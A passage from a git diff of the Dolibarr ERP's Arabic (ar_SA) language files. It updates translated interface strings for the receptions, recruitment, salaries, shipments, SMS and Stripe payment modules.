reception? -ConfirmValidateReception=Are you sure you want to validate this reception with reference %s? -ConfirmCancelReception=Are you sure you want to cancel this reception? -StatsOnReceptionsOnlyValidated=Statistics conducted on receptions only validated. Date used is date of validation of reception (planed delivery date is not always known). -SendReceptionByEMail=Send reception by email -SendReceptionRef=Submission of reception %s -ActionsOnReception=Events on reception -ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. -ReceptionLine=Reception line -ProductQtyInReceptionAlreadySent=Product quantity from open sales order already sent -ProductQtyInSuppliersReceptionAlreadyRecevied=Product quantity from open supplier order already received -ValidateOrderFirstBeforeReception=You must first validate the order before being able to make receptions. -ReceptionsNumberingModules=Numbering module for receptions -ReceptionsReceiptModel=Document templates for receptions -NoMorePredefinedProductToDispatch=No more predefined products to dispatch -ReceptionExist=A reception exists -ByingPrice=Bying price -ReceptionBackToDraftInDolibarr=Reception %s back to draft -ReceptionClassifyClosedInDolibarr=Reception %s classified Closed -ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open +ReceptionSheet=ورقة استقبال +ValidateReception=Validate reception +ConfirmDeleteReception=هل أنت متأكد أنك تريد حذف هذا الاستقبال؟ +ConfirmValidateReception=هل أنت متأكد من أنك تريد التحقق من صحة هذا الاستقبال بالمرجع %s ؟ +ConfirmCancelReception=هل أنت متأكد أنك تريد إلغاء هذا الاستقبال؟ +StatsOnReceptionsOnlyValidated=تم التحقق من صحة الإحصائيات التي أجريت على حفلات الاستقبال فقط. التاريخ المستخدم هو تاريخ التحقق من الاستلام (تاريخ التسليم المخطط غير معروف دائمًا). +SendReceptionByEMail=إرسال الاستقبال عن طريق البريد الإلكتروني +SendReceptionRef=تقديم الاستقبال %s +ActionsOnReception=الأحداث على الاستقبال +ReceptionCreationIsDoneFromOrder=في الوقت الحالي ، يتم إنشاء استقبال جديد من أمر الشراء. +ReceptionLine=خط استقبال +ProductQtyInReceptionAlreadySent=تم إرسال كمية المنتج من أمر المبيعات المفتوح بالفعل +ProductQtyInSuppliersReceptionAlreadyRecevied=تم استلام كمية المنتج من طلب المورد المفتوح بالفعل +ValidateOrderFirstBeforeReception=يجب عليك أولاً التحقق من صحة الطلب قبل التمكن من إجراء حفلات الاستقبال. +ReceptionsNumberingModules=وحدة الترقيم لحفلات الاستقبال +ReceptionsReceiptModel=قوالب الوثيقة لحفلات الاستقبال +NoMorePredefinedProductToDispatch=لا مزيد من المنتجات المحددة مسبقًا لإرسالها +ReceptionExist=يوجد استقبال +ReceptionBackToDraftInDolibarr=الاستقبال %s يعود إلى المسودة +ReceptionClassifyClosedInDolibarr=الاستقبال %s مصنف مغلق +ReceptionUnClassifyCloseddInDolibarr=إعادة فتح الاستقبال %s diff --git a/htdocs/langs/ar_SA/recruitment.lang b/htdocs/langs/ar_SA/recruitment.lang index d7464982228..7e947a4a1cb 100644 --- a/htdocs/langs/ar_SA/recruitment.lang +++ b/htdocs/langs/ar_SA/recruitment.lang @@ -18,59 +18,62 @@ # # Module label 'ModuleRecruitmentName' -ModuleRecruitmentName = Recruitment +ModuleRecruitmentName = توظيف # Module description 'ModuleRecruitmentDesc' -ModuleRecruitmentDesc = Manage and follow recruitment campaigns for new job positions +ModuleRecruitmentDesc = إدارة ومتابعة حملات التوظيف لشغل وظائف جديدة # # Admin page # -RecruitmentSetup = Recruitment setup +RecruitmentSetup = إعداد التوظيف Settings = إعدادات -RecruitmentSetupPage = Enter here the setup of main options for the recruitment module -RecruitmentArea=Recruitement area -PublicInterfaceRecruitmentDesc=Public pages of jobs are public URLs to show and answer to open jobs. There is one different link for each open job, found on each job record. -EnablePublicRecruitmentPages=Enable public pages of open jobs +RecruitmentSetupPage = أدخل هنا إعداد الخيارات الرئيسية لوحدة التوظيف +RecruitmentArea=منطقة التوظيف +PublicInterfaceRecruitmentDesc=الصفحات العامة للوظائف هي عناوين URL عامة لإظهار الوظائف المفتوحة والإجابة عليها. يوجد رابط واحد مختلف لكل وظيفة متاحة في كل سجل وظيفة. +EnablePublicRecruitmentPages=تمكين الصفحات العامة للوظائف المفتوحة # # About page # About = حول -RecruitmentAbout = About Recruitment -RecruitmentAboutPage = Recruitment about page -NbOfEmployeesExpected=Expected nb of employees -JobLabel=Label of job position -WorkPlace=Work place -DateExpected=Expected date -FutureManager=Future manager -ResponsibleOfRecruitement=Responsible of recruitment -IfJobIsLocatedAtAPartner=If job is located at a partner place +RecruitmentAbout = حول التوظيف +RecruitmentAboutPage = التوظيف حول الصفحة +NbOfEmployeesExpected=ملحوظة من الموظفين المتوقع +JobLabel=تسمية الوظيفة +WorkPlace=مكان العمل +DateExpected=التاريخ المتوقع +FutureManager=مدير المستقبل +ResponsibleOfRecruitement=مسؤول عن التوظيف +IfJobIsLocatedAtAPartner=إذا كانت الوظيفة موجودة في مكان شريك PositionToBeFilled=الوظيفه -PositionsToBeFilled=Job positions -ListOfPositionsToBeFilled=List of job positions -NewPositionToBeFilled=New job positions +PositionsToBeFilled=المناصب الوظيفية +ListOfPositionsToBeFilled=قائمة الوظائف +NewPositionToBeFilled=وظائف جديدة -JobOfferToBeFilled=Job position to be filled -ThisIsInformationOnJobPosition=Information of the job position to be filled -ContactForRecruitment=Contact for recruitment -EmailRecruiter=Email recruiter -ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used -NewCandidature=New application -ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration -ContractProposed=Contract proposed -ContractSigned=Contract signed -ContractRefused=Contract refused -RecruitmentCandidature=Application -JobPositions=Job positions -RecruitmentCandidatures=Applications -InterviewToDo=Interview to do -AnswerCandidature=Application answer -YourCandidature=Your application -YourCandidatureAnswerMessage=Thanks you for your application.
      ... -JobClosedTextCandidateFound=The job position is closed. The position has been filled. -JobClosedTextCanceled=The job position is closed. -ExtrafieldsJobPosition=Complementary attributes (job positions) -ExtrafieldsApplication=Complementary attributes (job applications) -MakeOffer=Make an offer +JobOfferToBeFilled=الوظيفة المراد شغلها +ThisIsInformationOnJobPosition=معلومات الوظيفة المراد شغلها +ContactForRecruitment=الاتصال للتوظيف +EmailRecruiter=المجند البريد الإلكتروني +ToUseAGenericEmail=لاستخدام بريد إلكتروني عام. إذا لم يتم تحديده ، فسيتم استخدام البريد الإلكتروني للمسؤول عن التوظيف +NewCandidature=تطبيق جديد +ListOfCandidatures=قائمة التطبيقات +Remuneration=الراتب +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary +ContractProposed=عقد مقترح +ContractSigned=تم توقيع العقد +ContractRefused=العقد مرفوض +RecruitmentCandidature=طلب +JobPositions=المناصب الوظيفية +RecruitmentCandidatures=التطبيقات +InterviewToDo=Contacts to follow +AnswerCandidature=إجابة التطبيق +YourCandidature=تطبيقك +YourCandidatureAnswerMessage=شكرا لك على التطبيق الخاص بك.
      ... +JobClosedTextCandidateFound=الوظيفة مغلقة. تم شغل المنصب. +JobClosedTextCanceled=الوظيفة مغلقة. +ExtrafieldsJobPosition=السمات التكميلية (المناصب الوظيفية) +ExtrafieldsApplication=السمات التكميلية (طلبات العمل) +MakeOffer=تقديم عرض +WeAreRecruiting=نحن نوظف. هذه قائمة بالوظائف الشاغرة التي يتعين شغلها ... +NoPositionOpen=لا توجد وظائف مفتوحة في الوقت الحالي diff --git a/htdocs/langs/ar_SA/resource.lang b/htdocs/langs/ar_SA/resource.lang index ea416f6cbca..b4e77361bdc 100644 --- a/htdocs/langs/ar_SA/resource.lang +++ b/htdocs/langs/ar_SA/resource.lang @@ -5,7 +5,7 @@ DeleteResource=حذف الموارد ConfirmDeleteResourceElement=تأكيد حذف المورد لهذا العنصر NoResourceInDatabase=أي مورد في قاعدة البيانات. NoResourceLinked=ربط أي مورد - +ActionsOnResource=أحداث حول هذا المورد ResourcePageIndex=قائمة الموارد ResourceSingular=مورد ResourceCard=بطاقة الموارد @@ -30,7 +30,10 @@ DictionaryResourceType=نوع الموارد SelectResource=حدد الموارد -IdResource=Id resource -AssetNumber=Serial number -ResourceTypeCode=Resource type code +IdResource=معرف المورد +AssetNumber=رقم سري +ResourceTypeCode=رمز نوع المورد ImportDataset_resource_1=مصادر + +ErrorResourcesAlreadyInUse=بعض الموارد قيد الاستخدام +ErrorResourceUseInEvent=%s المستخدم في حدث %s diff --git a/htdocs/langs/ar_SA/salaries.lang b/htdocs/langs/ar_SA/salaries.lang index bca976aec5f..d0e339082da 100644 --- a/htdocs/langs/ar_SA/salaries.lang +++ b/htdocs/langs/ar_SA/salaries.lang @@ -1,26 +1,27 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Accounting account used for user third parties -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Accounting account by default for wage payments -CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=حساب المحاسبة بشكل افتراضي لمدفوعات الأجور +CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=بشكل افتراضي ، اترك خيار "إنشاء دفعة إجمالية تلقائيًا" فارغًا عند إنشاء راتب Salary=الراتب Salaries=الرواتب -NewSalary=New salary -AddSalary=Add salary -NewSalaryPayment=New salary card -AddSalaryPayment=Add salary payment +NewSalary=راتب جديد +AddSalary=أضف الراتب +NewSalaryPayment=بطاقة راتب جديدة +AddSalaryPayment=اضافة دفع الراتب SalaryPayment=دفع الرواتب SalariesPayments=مدفوعات الرواتب -SalariesPaymentsOf=Salaries payments of %s +SalariesPaymentsOf=مدفوعات الرواتب %s ShowSalaryPayment=مشاهدة دفع الرواتب -THM=Average hourly rate -TJM=Average daily rate +THM=متوسط معدل الساعة +TJM=متوسط معدل يومي CurrentSalary=الراتب الحالي -THMDescription=This value may be used to calculate the cost of time consumed on a project entered by users if module project is used -TJMDescription=This value is currently for information only and is not used for any calculation -LastSalaries=Latest %s salaries -AllSalaries=All salaries -SalariesStatistics=Salary statistics -SalariesAndPayments=Salaries and payments -ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? -FillFieldFirst=Fill employee field first +THMDescription=يمكن استخدام هذه القيمة لحساب تكلفة الوقت المستغرق في مشروع أدخله المستخدمون إذا تم استخدام مشروع الوحدة النمطية +TJMDescription=هذه القيمة حاليًا للمعلومات فقط ولا تُستخدم لأي حساب +LastSalaries=آخر %s الرواتب +AllSalaries=كل الرواتب +SalariesStatistics=إحصائيات الرواتب +SalariesAndPayments=الرواتب والمدفوعات +ConfirmDeleteSalaryPayment=هل تريد حذف هذا الراتب؟ +FillFieldFirst=املأ حقل الموظف أولاً +UpdateAmountWithLastSalary=حدد المبلغ مع آخر راتب diff --git a/htdocs/langs/ar_SA/sendings.lang b/htdocs/langs/ar_SA/sendings.lang index dced9275f3e..1e8193f5022 100644 --- a/htdocs/langs/ar_SA/sendings.lang +++ b/htdocs/langs/ar_SA/sendings.lang @@ -6,11 +6,11 @@ AllSendings=كل الشحنات Shipment=إرسال Shipments=شحنات ShowSending=مشاهدة الشحنات -Receivings=Delivery Receipts +Receivings=إيصالات التسليم SendingsArea=منطقة الإرسال ListOfSendings=قائمة الإرسال SendingMethod=طريقة إرسال -LastSendings=Latest %s shipments +LastSendings=أحدث شحنات %s StatisticsOfSendings=إحصاءات الإرسال NbOfSendings=عدد الإرسال NumberOfShipmentsByMonth=عدد الشحنات خلال الشهر @@ -18,16 +18,16 @@ SendingCard=بطاقة شحن NewSending=ارسال جديدة CreateShipment=إنشاء إرسال QtyShipped=الكمية المشحونة -QtyShippedShort=Qty ship. -QtyPreparedOrShipped=Qty prepared or shipped +QtyShippedShort=الكمية السفينة. +QtyPreparedOrShipped=الكمية المعدة أو المشحونة QtyToShip=لشحن الكمية -QtyToReceive=Qty to receive +QtyToReceive=الكمية للاستلام QtyReceived=الكمية الواردة -QtyInOtherShipments=Qty in other shipments +QtyInOtherShipments=الكمية في الشحنات الأخرى KeepToShip=تبقى على السفينة -KeepToShipShort=Remain +KeepToShipShort=يبقى OtherSendingsForSameOrder=الإرسال الأخرى لهذا النظام -SendingsAndReceivingForSameOrder=Shipments and receipts for this order +SendingsAndReceivingForSameOrder=الشحنات والإيصالات لهذا الطلب SendingsToValidate=للمصادقة على إرسال StatusSendingCanceled=ألغيت StatusSendingCanceledShort=ألغيت @@ -38,39 +38,39 @@ StatusSendingDraftShort=مسودة StatusSendingValidatedShort=صادق StatusSendingProcessedShort=معالجة SendingSheet=ورقة الشحن -ConfirmDeleteSending=Are you sure you want to delete this shipment? -ConfirmValidateSending=Are you sure you want to validate this shipment with reference %s? -ConfirmCancelSending=Are you sure you want to cancel this shipment? +ConfirmDeleteSending=هل أنت متأكد أنك تريد حذف هذه الشحنة؟ +ConfirmValidateSending=هل أنت متأكد من أنك تريد التحقق من صحة هذه الشحنة بالمرجع %s ؟ +ConfirmCancelSending=هل أنت متأكد أنك تريد إلغاء هذه الشحنة؟ DocumentModelMerou=Mérou A5 نموذج WarningNoQtyLeftToSend=تحذير ، لا تنتظر أن المنتجات المشحونة. -StatsOnShipmentsOnlyValidated=Statistics are only for validated shipments. Date used is the date of validation of shipment (planned delivery date is not always known) +StatsOnShipmentsOnlyValidated=الإحصائيات هي فقط للشحنات التي تم التحقق من صحتها. التاريخ المستخدم هو تاريخ التحقق من صحة الشحنة (تاريخ التسليم المخطط ليس معروفًا دائمًا) DateDeliveryPlanned=التاريخ المحدد للتسليم -RefDeliveryReceipt=Ref delivery receipt -StatusReceipt=Status delivery receipt +RefDeliveryReceipt=إيصال تسليم المرجع +StatusReceipt=إيصال تسليم الحالة DateReceived=تلقى تاريخ التسليم -ClassifyReception=Classify reception -SendShippingByEMail=Send shipment by email +ClassifyReception=صنف الاستقبال +SendShippingByEMail=إرسال الشحنة عبر البريد الإلكتروني SendShippingRef=تقديم شحنة٪ الصورة ActionsOnShipping=الأحداث على شحنة LinkToTrackYourPackage=رابط لتتبع الحزمة الخاصة بك -ShipmentCreationIsDoneFromOrder=For the moment, creation of a new shipment is done from the Sales Order record. +ShipmentCreationIsDoneFromOrder=في الوقت الحالي ، يتم إنشاء شحنة جديدة من سجل أوامر المبيعات. ShipmentLine=خط الشحن -ProductQtyInCustomersOrdersRunning=Product quantity from open sales orders -ProductQtyInSuppliersOrdersRunning=Product quantity from open purchase orders -ProductQtyInShipmentAlreadySent=Product quantity from open sales order already sent -ProductQtyInSuppliersShipmentAlreadyRecevied=Product quantity from open purchase orders already received -NoProductToShipFoundIntoStock=No product to ship found in warehouse %s. Correct stock or go back to choose another warehouse. -WeightVolShort=Weight/Vol. -ValidateOrderFirstBeforeShipment=You must first validate the order before being able to make shipments. +ProductQtyInCustomersOrdersRunning=كمية المنتج من أوامر البيع المفتوحة +ProductQtyInSuppliersOrdersRunning=كمية المنتج من أوامر الشراء المفتوحة +ProductQtyInShipmentAlreadySent=تم إرسال كمية المنتج من أمر المبيعات المفتوح بالفعل +ProductQtyInSuppliersShipmentAlreadyRecevied=تم استلام كمية المنتج من أوامر الشراء المفتوحة بالفعل +NoProductToShipFoundIntoStock=لم يتم العثور على أي منتج للشحن في المستودع %s . تصحيح المخزون أو الرجوع لاختيار مستودع آخر. +WeightVolShort=الوزن / المجلد. +ValidateOrderFirstBeforeShipment=يجب عليك أولاً التحقق من صحة الطلب قبل التمكن من إجراء الشحنات. # Sending methods # ModelDocument DocumentModelTyphon=أكمل نموذج لتسليم وثيقة من وثائق الإيصالات (logo...) -DocumentModelStorm=More complete document model for delivery receipts and extrafields compatibility (logo...) +DocumentModelStorm=نموذج مستند أكثر اكتمالاً لإيصالات التسليم وتوافق الحقول الإضافية (الشعار ...) Error_EXPEDITION_ADDON_NUMBER_NotDefined=EXPEDITION_ADDON_NUMBER ثابت لم تحدد SumOfProductVolumes=مجموع أحجام المنتج SumOfProductWeights=مجموع الأوزان المنتج # warehouse details DetailWarehouseNumber= تفاصيل مستودع -DetailWarehouseFormat= W:%s (Qty: %d) +DetailWarehouseFormat= W: %s (الكمية: %d) diff --git a/htdocs/langs/ar_SA/sms.lang b/htdocs/langs/ar_SA/sms.lang index 7e116d24879..b76e0238c9b 100644 --- a/htdocs/langs/ar_SA/sms.lang +++ b/htdocs/langs/ar_SA/sms.lang @@ -13,20 +13,20 @@ SmsTo=الهدف SmsTopic=موضوع الرسائل القصيرة SMS SmsText=رسالة SmsMessage=رسالة SMS -ShowSms=Show SMS -ListOfSms=List SMS campaigns -NewSms=New SMS campaign -EditSms=Edit SMS +ShowSms=إظهار الرسائل القصيرة +ListOfSms=قائمة بحملات الرسائل القصيرة +NewSms=حملة رسائل نصية جديدة +EditSms=تحرير الرسائل القصيرة ResetSms=جديد إرسال -DeleteSms=Delete SMS campaign -DeleteASms=Remove a SMS campaign +DeleteSms=حذف حملة الرسائل القصيرة +DeleteASms=إزالة حملة SMS PreviewSms=Previuw SMS -PrepareSms=Prepare SMS -CreateSms=Create SMS -SmsResult=Result of SMS sending -TestSms=Test SMS -ValidSms=Validate SMS -ApproveSms=Approve SMS +PrepareSms=تحضير الرسائل القصيرة +CreateSms=إنشاء الرسائل القصيرة +SmsResult=نتيجة إرسال الرسائل القصيرة +TestSms=اختبار SMS +ValidSms=التحقق من صحة الرسائل القصيرة +ApproveSms=الموافقة على الرسائل القصيرة SmsStatusDraft=مسودة SmsStatusValidated=التحقق من صحة SmsStatusApproved=وافق @@ -35,17 +35,17 @@ SmsStatusSentPartialy=أرسلت جزئيا SmsStatusSentCompletely=أرسلت تماما SmsStatusError=خطأ SmsStatusNotSent=لم يرسل -SmsSuccessfulySent=SMS correctly sent (from %s to %s) +SmsSuccessfulySent=تم إرسال الرسائل القصيرة بشكل صحيح (من %s إلى %s) ErrorSmsRecipientIsEmpty=عدد من الهدف فارغة WarningNoSmsAdded=لا رقم هاتف جديدا يضاف إلى قائمة المستهدفين -ConfirmValidSms=Do you confirm validation of this campaign? -NbOfUniqueSms=No. of unique phone numbers -NbOfSms=No. of phone numbers +ConfirmValidSms=هل تؤكد صحة هذه الحملة؟ +NbOfUniqueSms=عدد أرقام الهواتف الفريدة +NbOfSms=عدد أرقام الهواتف ThisIsATestMessage=هذه هي رسالة اختبار SendSms=ارسال الرسائل القصيرة -SmsInfoCharRemain=No. of remaining characters -SmsInfoNumero= (international format i.e.: +33899701761) +SmsInfoCharRemain=عدد الأحرف المتبقية +SmsInfoNumero= (التنسيق الدولي ، أي: +33899701761) DelayBeforeSending=تأخير قبل إرسال (دقائق) -SmsNoPossibleSenderFound=No sender available. Check setup of your SMS provider. +SmsNoPossibleSenderFound=لا يوجد مرسل متاح. تحقق من إعداد مزود خدمة الرسائل القصيرة الخاص بك. SmsNoPossibleRecipientFound=لا هدف متاح. تحقق الإعداد من مزود خدمات الرسائل القصيرة. -DisableStopIfSupported=Disable STOP message (if supported) +DisableStopIfSupported=تعطيل رسالة STOP (إذا كانت مدعومة) diff --git a/htdocs/langs/ar_SA/stripe.lang b/htdocs/langs/ar_SA/stripe.lang index bb3b088d1e4..442c1a2788a 100644 --- a/htdocs/langs/ar_SA/stripe.lang +++ b/htdocs/langs/ar_SA/stripe.lang @@ -1,71 +1,78 @@ # Dolibarr language file - Source file is en_US - stripe -StripeSetup=Stripe module setup -StripeDesc=Offer your customers an online payment page for payments with credit/debit cards via Stripe. This can be used to allow your customers to make ad-hoc payments or for payments related to a particular Dolibarr object (invoice, order, ...) -StripeOrCBDoPayment=Pay with credit card or Stripe +StripeSetup=إعداد وحدة الشريط +StripeDesc=قدم لعملائك صفحة دفع عبر الإنترنت للمدفوعات باستخدام بطاقات الائتمان / الخصم عبر Stripe . يمكن استخدام هذا للسماح لعملائك بإجراء مدفوعات مخصصة أو للمدفوعات المتعلقة بكائن Dolibarr معين (فاتورة ، أمر ، ...) +StripeOrCBDoPayment=ادفع ببطاقة الائتمان أو Stripe FollowingUrlAreAvailableToMakePayments=فيما يلي عناوين المواقع المتاحة لعرض هذه الصفحة زبون لتسديد دفعة Dolibarr على الأجسام PaymentForm=شكل الدفع -WelcomeOnPaymentPage=Welcome to our online payment service +WelcomeOnPaymentPage=مرحبًا بك في خدمة الدفع عبر الإنترنت ThisScreenAllowsYouToPay=تتيح لك هذه الشاشة إجراء الدفع الإلكتروني إلى ٪ s. ThisIsInformationOnPayment=هذه هي المعلومات عن الدفع للقيام ToComplete=لإكمال YourEMail=البريد الالكتروني لتأكيد الدفع -STRIPE_PAYONLINE_SENDEMAIL=Email notification after a payment attempt (success or fail) +STRIPE_PAYONLINE_SENDEMAIL=إشعار بالبريد الإلكتروني بعد محاولة الدفع (نجاح أو فشل) Creditor=الدائن PaymentCode=دفع رمز -StripeDoPayment=Pay with Stripe -YouWillBeRedirectedOnStripe=You will be redirected on secured Stripe page to input you credit card information +StripeDoPayment=الدفع باستخدام Stripe +YouWillBeRedirectedOnStripe=ستتم إعادة توجيهك إلى صفحة Stripe الآمنة لإدخال معلومات بطاقة الائتمان الخاصة بك Continue=التالى ToOfferALinkForOnlinePayment=عنوان دفع %s -ToOfferALinkForOnlinePaymentOnOrder=URL to offer a %s online payment page for a sales order -ToOfferALinkForOnlinePaymentOnInvoice=URL to offer a %s online payment page for a customer invoice -ToOfferALinkForOnlinePaymentOnContractLine=URL to offer a %s online payment page for a contract line -ToOfferALinkForOnlinePaymentOnFreeAmount=URL to offer a %s online payment page of any amount with no existing object -ToOfferALinkForOnlinePaymentOnMemberSubscription=URL to offer a %s online payment page for a member subscription -ToOfferALinkForOnlinePaymentOnDonation=URL to offer a %s online payment page for payment of a donation -YouCanAddTagOnUrl=You can also add url parameter &tag=value to any of those URL (mandatory only for payment not linked to an object) to add your own payment comment tag.
      For the URL of payments with no existing object, you may also add the parameter &noidempotency=1 so the same link with same tag can be used several times (some payment mode may limit the payment to 1 for each different link without this parameter) -SetupStripeToHavePaymentCreatedAutomatically=Setup your Stripe with url %s to have payment created automatically when validated by Stripe. +ToOfferALinkForOnlinePaymentOnOrder=عنوان URL لعرض صفحة دفع عبر الإنترنت %s لأمر مبيعات +ToOfferALinkForOnlinePaymentOnInvoice=عنوان URL لعرض صفحة الدفع عبر الإنترنت %s لفاتورة العميل +ToOfferALinkForOnlinePaymentOnContractLine=URL لتقديم صفحة دفع عبر الإنترنت %s لبند عقد +ToOfferALinkForOnlinePaymentOnFreeAmount=عنوان URL لعرض صفحة دفع عبر الإنترنت %s بأي مبلغ مع عدم وجود عنصر موجود +ToOfferALinkForOnlinePaymentOnMemberSubscription=عنوان URL لتقديم صفحة دفع عبر الإنترنت %s لاشتراك عضو +ToOfferALinkForOnlinePaymentOnDonation=عنوان URL لعرض صفحة دفع عبر الإنترنت %s لدفع تبرع +YouCanAddTagOnUrl=يمكنك أيضًا إضافة معلمة url & tag = قيمة إلى أي من عناوين URL هذه (إلزامي فقط للدفع غير المرتبط بكائن) لإضافة علامة تعليق الدفع الخاصة بك.
      بالنسبة إلى عنوان URL للدفعات التي لا تحتوي على كائن موجود ، يمكنك أيضًا إضافة المعلمة & noidempotency = 1 بحيث يمكن استخدام نفس الرابط مع نفس العلامة عدة مرات (قد تقصر بعض أوضاع الدفع الدفع على 1 لكل رابط مختلف بدون ذلك معامل) +SetupStripeToHavePaymentCreatedAutomatically=قم بإعداد Stripe باستخدام عنوان url %s ليتم إنشاء الدفع تلقائيًا عند التحقق من صحته بواسطة Stripe. AccountParameter=حساب المعلمات UsageParameter=استخدام المعلمات InformationToFindParameters=مساعدة للعثور على معلومات حسابك %s -STRIPE_CGI_URL_V2=Url of Stripe CGI module for payment +STRIPE_CGI_URL_V2=عنوان URL الخاص بوحدة Stripe CGI للدفع CSSUrlForPaymentForm=عزيزي ورقة النمط المغلق للنموذج الدفع -NewStripePaymentReceived=New Stripe payment received -NewStripePaymentFailed=New Stripe payment tried but failed -FailedToChargeCard=Failed to charge card -STRIPE_TEST_SECRET_KEY=Secret test key -STRIPE_TEST_PUBLISHABLE_KEY=Publishable test key -STRIPE_TEST_WEBHOOK_KEY=Webhook test key -STRIPE_LIVE_SECRET_KEY=Secret live key -STRIPE_LIVE_PUBLISHABLE_KEY=Publishable live key -STRIPE_LIVE_WEBHOOK_KEY=Webhook live key -ONLINE_PAYMENT_WAREHOUSE=Stock to use for stock decrease when online payment is done
      (TODO When option to decrease stock is done on an action on invoice and the online payment generate itself the invoice ?) -StripeLiveEnabled=Stripe live enabled (otherwise test/sandbox mode) -StripeImportPayment=Import Stripe payments -ExampleOfTestCreditCard=Example of credit card for test: %s => valid, %s => error CVC, %s => expired, %s => charge fails -StripeGateways=Stripe gateways -OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca_...) -OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca_...) -BankAccountForBankTransfer=Bank account for fund payouts -StripeAccount=Stripe account -StripeChargeList=List of Stripe charges -StripeTransactionList=List of Stripe transactions -StripeCustomerId=Stripe customer id -StripePaymentModes=Stripe payment modes -LocalID=Local ID -StripeID=Stripe ID -NameOnCard=Name on card -CardNumber=Card Number -ExpiryDate=Expiry Date +NewStripePaymentReceived=تم استلام دفعة Stripe جديدة +NewStripePaymentFailed=تمت محاولة دفع New Stripe لكنها فشلت +FailedToChargeCard=فشل في شحن البطاقة +STRIPE_TEST_SECRET_KEY=مفتاح الاختبار السري +STRIPE_TEST_PUBLISHABLE_KEY=مفتاح اختبار قابل للنشر +STRIPE_TEST_WEBHOOK_KEY=مفتاح اختبار Webhook +STRIPE_LIVE_SECRET_KEY=المفتاح السري المباشر +STRIPE_LIVE_PUBLISHABLE_KEY=مفتاح مباشر قابل للنشر +STRIPE_LIVE_WEBHOOK_KEY=المفتاح المباشر للخطاف التلقائي على الويب +ONLINE_PAYMENT_WAREHOUSE=المخزون الذي سيتم استخدامه لتقليل المخزون عند إتمام الدفع عبر الإنترنت
      (TODO عندما يتم تنفيذ خيار تقليل المخزون على إجراء على الفاتورة ويقوم الدفع عبر الإنترنت بإنشاء الفاتورة بنفسه؟) +StripeLiveEnabled=تم تمكين Stripe Live (بخلاف ذلك وضع الاختبار / وضع الحماية) +StripeImportPayment=استيراد مدفوعات الشريط +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s +StripeGateways=بوابات شريطية +OAUTH_STRIPE_TEST_ID=معرف عميل Stripe Connect (ca _...) +OAUTH_STRIPE_LIVE_ID=معرف عميل Stripe Connect (ca _...) +BankAccountForBankTransfer=الحساب المصرفي لمدفوعات الأموال +StripeAccount=حساب Stripe +StripeChargeList=قائمة رسوم الشريط +StripeTransactionList=قائمة معاملات Stripe +StripeCustomerId=معرف عميل Stripe +StripePaymentModes=طرق الدفع الشريطية +LocalID=المعرف المحلي +StripeID=معرف الشريط +NameOnCard=الاسم على البطاقة +CardNumber=رقم البطاقة +ExpiryDate=تاريخ انتهاء الصلاحية CVN=CVN -DeleteACard=Delete Card -ConfirmDeleteCard=Are you sure you want to delete this Credit or Debit card? -CreateCustomerOnStripe=Create customer on Stripe -CreateCardOnStripe=Create card on Stripe -ShowInStripe=Show in Stripe -StripeUserAccountForActions=User account to use for email notification of some Stripe events (Stripe payouts) -StripePayoutList=List of Stripe payouts -ToOfferALinkForTestWebhook=Link to setup Stripe WebHook to call the IPN (test mode) -ToOfferALinkForLiveWebhook=Link to setup Stripe WebHook to call the IPN (live mode) -PaymentWillBeRecordedForNextPeriod=Payment will be recorded for the next period. -ClickHereToTryAgain=Click here to try again... -CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s +DeleteACard=حذف البطاقة +ConfirmDeleteCard=هل أنت متأكد أنك تريد حذف بطاقة الائتمان أو الخصم هذه؟ +CreateCustomerOnStripe=قم بإنشاء عميل على Stripe +CreateCardOnStripe=قم بإنشاء بطاقة على Stripe +CreateBANOnStripe=Create bank on Stripe +ShowInStripe=عرض في شريط +StripeUserAccountForActions=حساب مستخدم لاستخدامه في إشعار البريد الإلكتروني ببعض أحداث Stripe (دفعات Stripe) +StripePayoutList=قائمة مدفوعات Stripe +ToOfferALinkForTestWebhook=رابط لإعداد Stripe WebHook لاستدعاء IPN (وضع الاختبار) +ToOfferALinkForLiveWebhook=رابط لإعداد Stripe WebHook لاستدعاء IPN (الوضع المباشر) +PaymentWillBeRecordedForNextPeriod=سيتم تسجيل الدفع للفترة القادمة. +ClickHereToTryAgain= انقر هنا للمحاولة مرة أخرى ... +CreationOfPaymentModeMustBeDoneFromStripeInterface=نظرًا لقواعد مصادقة العميل القوية ، يجب أن يتم إنشاء بطاقة من Stripe backoffice. يمكنك النقر هنا للتبديل إلى سجل عميل Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/ar_SA/supplier_proposal.lang b/htdocs/langs/ar_SA/supplier_proposal.lang index 6bd54f73ba4..ddf555e5dbe 100644 --- 